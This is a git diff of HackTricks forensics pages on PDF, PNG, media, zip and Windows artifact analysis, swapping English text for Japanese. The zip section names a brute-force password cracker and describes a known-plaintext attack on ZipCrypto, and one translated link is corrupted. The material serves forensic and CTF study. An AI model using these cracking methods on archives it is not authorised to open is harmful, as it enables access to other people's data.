- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..8a75dd9f4 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDFファイル分析 {{#include ../../../banners/hacktricks-training.md}} -
+**詳細については、次を確認してください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF形式は、その複雑さとデータを隠す可能性で知られており、CTFフォレンジックチャレンジの焦点となっています。これは、圧縮または暗号化される可能性のあるバイナリオブジェクトとプレーンテキスト要素を組み合わせており、JavaScriptやFlashなどの言語でのスクリプトを含むことがあります。PDFの構造を理解するには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiのようなPDF専用エディタを使用できます。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +PDFの詳細な探索や操作には、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)のようなツールが利用可能です。PDF内の隠れたデータは以下に隠されている可能性があります: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- 見えないレイヤー +- AdobeのXMPメタデータ形式 +- 増分生成 +- 背景と同じ色のテキスト +- 画像の背後にあるテキストや重なり合った画像 +- 表示されていないコメント -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +カスタムPDF分析には、[PeepDF](https://github.com/jesparza/peepdf)のようなPythonライブラリを使用して、特注のパーススクリプトを作成できます。さらに、PDFの隠れたデータストレージの可能性は非常に広範であり、NSAのPDFリスクと対策に関するガイドのようなリソースは、もはや元の場所ではホストされていませんが、貴重な洞察を提供します。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)や、Ange Albertiniによる[PDF形式のトリックのコレクション](https://github.com/corkami/docs/blob/master/PDF/PDF.md)は、このテーマに関するさらなる読み物を提供します。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..b3e245aff 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNGファイル**は、その**ロスレス圧縮**のために**CTFチャレンジ**で高く評価されており、隠れたデータを埋め込むのに理想的です。**Wireshark**のようなツールは、ネットワークパケット内のデータを解析することでPNGファイルを分析し、埋め込まれた情報や異常を明らかにします。 -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +PNGファイルの整合性をチェックし、破損を修復するために、**pngcheck**は重要なツールであり、PNGファイルを検証し診断するためのコマンドライン機能を提供します([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))。ファイルが単純な修正を超えている場合、[OfficeRecoveryのPixRecovery](https://online.officerecovery.com/pixrecovery/)のようなオンラインサービスは、**破損したPNGの修復**のためのウェブベースのソリューションを提供し、CTF参加者のために重要なデータの回復を支援します。 -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +これらの戦略は、CTFにおける包括的なアプローチの重要性を強調しており、隠れたデータや失われたデータを発見し回復するために、分析ツールと修復技術の組み合わせを利用しています。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..7664e2a55 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,16 +1,16 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**音声および動画ファイルの操作**は、**CTFフォレンジックチャレンジ**の定番であり、**ステガノグラフィー**やメタデータ分析を利用して秘密のメッセージを隠したり明らかにしたりします。**[mediainfo](https://mediaarea.net/en/MediaInfo)**や**`exiftool`**などのツールは、ファイルのメタデータを検査し、コンテンツタイプを特定するために不可欠です。 -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +音声チャレンジでは、**[Audacity](http://www.audacityteam.org/)**が波形を表示し、音声に埋め込まれたテキストを明らかにするために必要なスペクトログラムを分析するための主要なツールとして際立っています。**[Sonic Visualiser](http://www.sonicvisualiser.org/)**は、詳細なスペクトログラム分析に強く推奨されます。**Audacity**は、隠されたメッセージを検出するためにトラックを遅くしたり逆再生したりする音声操作を可能にします。**[Sox](http://sox.sourceforge.net/)**は、音声ファイルの変換と編集に優れたコマンドラインユーティリティです。 -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +**最下位ビット(LSB)**の操作は、音声および動画のステガノグラフィーで一般的な技術であり、メディアファイルの固定サイズのチャンクを利用してデータを目立たないように埋め込むことができます。**[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**は、**DTMFトーン**や**モールス信号**として隠されたメッセージをデコードするのに役立ちます。 -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +動画チャレンジは、音声と動画のストリームをバンドルするコンテナフォーマットを含むことがよくあります。**[FFmpeg](http://ffmpeg.org/)**は、これらのフォーマットを分析および操作するための定番であり、デマルチプレクシングやコンテンツの再生が可能です。開発者向けには、**[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**がFFmpegの機能をPythonに統合し、高度なスクリプト可能なインタラクションを提供します。 -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +このツールの配列は、CTFチャレンジで必要とされる多様性を強調しており、参加者は音声および動画ファイル内の隠されたデータを明らかにするために広範な分析および操作技術を駆使しなければなりません。 -## References +## 参考文献 - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..f104810be 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**コマンドラインツール**は**zipファイル**の管理に不可欠で、診断、修復、及びzipファイルのクラッキングに役立ちます。以下は主なユーティリティです: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: zipファイルが解凍できない理由を明らかにします。 +- **`zipdetails -v`**: zipファイルフォーマットフィールドの詳細な分析を提供します。 +- **`zipinfo`**: zipファイルの内容を抽出せずにリストします。 +- **`zip -F input.zip --out output.zip`** と **`zip -FF input.zip --out output.zip`**: 壊れたzipファイルの修復を試みます。 +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zipパスワードのブルートフォースクラッキングツールで、約7文字までのパスワードに効果的です。 -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zipファイルフォーマット仕様](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)はzipファイルの構造と標準に関する包括的な詳細を提供します。 -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +パスワード保護されたzipファイルは**ファイル名やファイルサイズを暗号化しない**ことに注意することが重要です。このセキュリティの欠陥は、RARや7zファイルには共有されていません。さらに、古いZipCrypto方式で暗号化されたzipファイルは、圧縮ファイルの暗号化されていないコピーが利用可能な場合、**平文攻撃**に対して脆弱です。この攻撃は、既知の内容を利用してzipのパスワードをクラッキングします。この脆弱性は[HackThisの記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)で詳述され、[この学術論文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)でさらに説明されています。しかし、**AES-256**暗号化で保護されたzipファイルはこの平文攻撃に対して免疫があり、機密データのために安全な暗号化方法を選択する重要性を示しています。 ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..16828d65c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,504 +1,492 @@ -# Windows Artifacts +# Windows アーティファクト -## Windows Artifacts +## Windows アーティファクト {{#include ../../../banners/hacktricks-training.md}} -## Generic Windows Artifacts +## 一般的な Windows アーティファクト -### Windows 10 Notifications +### Windows 10 通知 -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +パス `\Users\\AppData\Local\Microsoft\Windows\Notifications` には、データベース `appdb.dat`(Windows アニバーサリー前)または `wpndatabase.db`(Windows アニバーサリー後)があります。 -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +この SQLite データベース内には、興味深いデータを含む可能性のあるすべての通知(XML 形式)の `Notification` テーブルがあります。 -### Timeline +### タイムライン -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +タイムラインは、訪問したウェブページ、編集した文書、実行したアプリケーションの **時系列履歴** を提供する Windows の特徴です。 -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +データベースは、パス `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` にあります。このデータベースは SQLite ツールまたはツール [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **を使用して開くことができ、2 つのファイルが生成され、ツール** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **で開くことができます。** -### ADS (Alternate Data Streams) +### ADS (代替データストリーム) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +ダウンロードされたファイルには、**ADS Zone.Identifier** が含まれており、**どのように** インターネット、イントラネットなどから **ダウンロードされたか** を示しています。一部のソフトウェア(ブラウザなど)は、ファイルがダウンロードされた**URL**など、さらに**多くの** **情報**を提供することがよくあります。 -## **File Backups** +## **ファイルバックアップ** -### Recycle Bin +### ごみ箱 -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Vista/Win7/Win8/Win10 では、**ごみ箱**はドライブのルートにあるフォルダー **`$Recycle.bin`** にあります(`C:\$Recycle.bin`)。\ +このフォルダー内でファイルが削除されると、2 つの特定のファイルが作成されます: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: ファイル情報(削除された日時) +- `$R{id}`: ファイルの内容 ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +これらのファイルがあれば、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して削除されたファイルの元のアドレスと削除された日時を取得できます(Vista – Win10 には `rifiuti-vista.exe` を使用)。 ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### ボリュームシャドウコピー -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +シャドウコピーは、使用中のコンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できるMicrosoft Windowsに含まれる技術です。 -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +これらのバックアップは通常、ファイルシステムのルートから`\System Volume Information`にあり、名前は以下の画像に示されている**UID**で構成されています。 ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することもできます。 ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています。 ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`にも、`ボリュームシャドウコピー`に関する構成情報が含まれています。 -### Office AutoSaved Files +### Office自動保存ファイル -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Officeの自動保存ファイルは次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## シェルアイテム -A shell item is an item that contains information about how to access another file. +シェルアイテムは、別のファイルにアクセスする方法に関する情報を含むアイテムです。 -### Recent Documents (LNK) +### 最近の文書 (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windowsは、ユーザーが次の場所で**ファイルを開いたり、使用したり、作成したり**すると、これらの**ショートカット**を**自動的に****作成**します: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +フォルダーが作成されると、フォルダーへのリンク、親フォルダーへのリンク、および祖父フォルダーへのリンクも作成されます。 -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +これらの自動的に作成されたリンクファイルは、**ファイル**か**フォルダー**か、**MAC** **タイム**、ファイルが保存されている**ボリューム情報**、および**ターゲットファイルのフォルダー**など、**起源に関する情報**を**含んでいます**。この情報は、ファイルが削除された場合にそれらを回復するのに役立ちます。 -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +また、リンクファイルの**作成日**は、元のファイルが**最初に**使用された**時間**であり、リンクファイルの**最終更新日**は、元のファイルが使用された**最後の時間**です。 -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。 -In this tools you will find **2 sets** of timestamps: +このツールでは、**2セット**のタイムスタンプが見つかります: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **最初のセット:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **2番目のセット:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +最初のセットのタイムスタンプは**ファイル自体のタイムスタンプ**を参照します。2番目のセットは**リンクされたファイルのタイムスタンプ**を参照します。 +同じ情報は、Windows CLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行することで取得できます。 ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +この場合、情報はCSVファイルに保存されます。 -In this case, the information is going to be saved inside a CSV file. +### ジャンプリスト -### Jumplists +これらはアプリケーションごとに示される最近のファイルです。各アプリケーションでアクセスできる**アプリケーションによって使用された最近のファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成される**ことがあります。 -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +自動的に作成された**ジャンプリスト**は`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは`{id}.autmaticDestinations-ms`という形式で名付けられ、最初のIDはアプリケーションのIDです。 -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +カスタムジャンプリストは`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はファイルに**重要な**ことが起こったためにアプリケーションによって作成されます(お気に入りとしてマークされたかもしれません)。 -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +任意のジャンプリストの**作成時間**は**ファイルが最初にアクセスされた時間**を示し、**修正時間は最後にアクセスされた時間**を示します。 -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. - -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +ジャンプリストは[**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)を使用して検査できます。 ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_) -### Shellbags +### シェルバッグ -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**このリンクをフォローしてシェルバッグについて学んでください。**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USBの使用 -It's possible to identify that a USB device was used thanks to the creation of: +USBデバイスが使用されたことを特定することは、以下の作成によって可能です: - Windows Recent Folder - Microsoft Office Recent Folder -- Jumplists +- ジャンプリスト -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +一部のLNKファイルは、元のパスを指すのではなく、WPDNSEフォルダーを指しています: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSEフォルダー内のファイルは元のファイルのコピーであり、PCの再起動では生き残らず、GUIDはシェルバッグから取得されます。 -### Registry Information +### レジストリ情報 -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[このページをチェックして](interesting-windows-registry-keys.md#usb-information) USB接続デバイスに関する興味深い情報を含むレジストリキーを学んでください。 ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB接続が行われた時刻に関するタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。 -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com)を使用して、画像に接続されたUSBデバイスに関する情報を取得できます。 ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### プラグアンドプレイのクリーンアップ -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、主に古いドライバーバージョンの削除を目的としています。最新のドライバーパッケージバージョンを保持するという指定された目的とは対照的に、オンラインソースは、30日間非アクティブなドライバーも対象にしていることを示唆しています。したがって、過去30日間接続されていないリムーバブルデバイスのドライバーは削除される可能性があります。 -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +タスクは次のパスにあります:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +タスクの内容を示すスクリーンショットが提供されています: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**タスクの主要コンポーネントと設定:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. -- **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **pnpclean.dll**:このDLLは実際のクリーンアッププロセスを担当します。 +- **UseUnifiedSchedulingEngine**:`TRUE`に設定されており、一般的なタスクスケジューリングエンジンの使用を示します。 +- **MaintenanceSettings**: +- **Period ('P1M')**:タスクスケジューラに、定期的な自動メンテナンス中に毎月クリーンアップタスクを開始するよう指示します。 +- **Deadline ('P2M')**:タスクスケジューラに、タスクが2か月連続して失敗した場合、緊急自動メンテナンス中にタスクを実行するよう指示します。 -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続して失敗した場合のタスクの再試行のための規定が設けられています。 -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**詳細については次を確認してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## メール -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +メールには**2つの興味深い部分があります:ヘッダーとメールの内容**。**ヘッダー**には次のような情報が含まれています: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **誰が**メールを送信したか(メールアドレス、IP、メールサーバーがリダイレクトしたメール) +- **いつ**メールが送信されたか -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +また、`References`および`In-Reply-To`ヘッダー内にはメッセージのIDが含まれています: ![](<../../../images/image (593).png>) -### Windows Mail App +### Windowsメールアプリ -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダーにあります。メールは`.dat`拡張子で保存されます。 -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +メールの**メタデータ**と**連絡先**は、**EDBデータベース**内にあります:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +ファイルの拡張子を`.vol`から`.edb`に変更すると、ツール[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)を使用して開くことができます。`Message`テーブル内でメールを見ることができます。 ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: 